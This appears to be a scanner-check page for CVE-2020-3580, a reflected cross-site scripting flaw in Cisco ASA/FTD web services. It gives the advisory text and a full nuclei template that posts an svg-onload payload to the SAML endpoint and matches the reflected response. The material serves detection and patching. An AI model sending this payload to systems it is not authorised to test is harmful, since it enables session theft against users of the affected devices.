Cisco ASA/FTD Software - Cross-Site Scripting

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

mediumseverity

6.1CVSS score

85.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software are vulnerable to cross-site scripting and could allow an unauthenticated, remote attacker to conduct attacks against a user of the web services interface of an affected device. The vulnerabilities are due to insufficient validation of user-supplied input by the web services interface of an affected device. An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations. For more information, see the reference links.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or updates provided by Cisco to mitigate this vulnerability.

How to confirm it

Send: POST /+CSCOE+/saml/sp/acs?tgname=a
Positive when: contains "<svg/onload=alert(/{{randstr}}/)>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-3580 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-3580

info:
  name: Cisco ASA/FTD Software - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software are vulnerable to cross-site scripting and could allow an unauthenticated, remote attacker to conduct attacks against a user of the web services interface of an affected device. The vulnerabilities are due to insufficient validation of user-supplied input by the web services interface of an affected device. An attacker could exploit these vulnerabilities by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information. Note: These vulnerabilities affect only specific AnyConnect and WebVPN configurations. For more information, see the reference links.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Cisco to mitigate this vulnerability.
  reference:
    - https://twitter.com/ptswarm/status/1408050644460650502
    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-xss-multiple-FCB3vPZe
    - https://nvd.nist.gov/vuln/detail/CVE-2020-3580
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
    - https://github.com/r0eXpeR/supplier
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-3580
    cwe-id: CWE-79
    epss-score: 0.85575
    epss-percentile: 0.99726
    cpe: cpe:2.3:o:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: firepower_threat_defense
  tags: cve,cve2020,xss,cisco,kev,vkev,vuln

http:
  - raw:
      - |
        POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        SAMLResponse=%22%3E%3Csvg/onload=alert(/{{randstr}}/)%3E

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg/onload=alert(/{{randstr}}/)>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from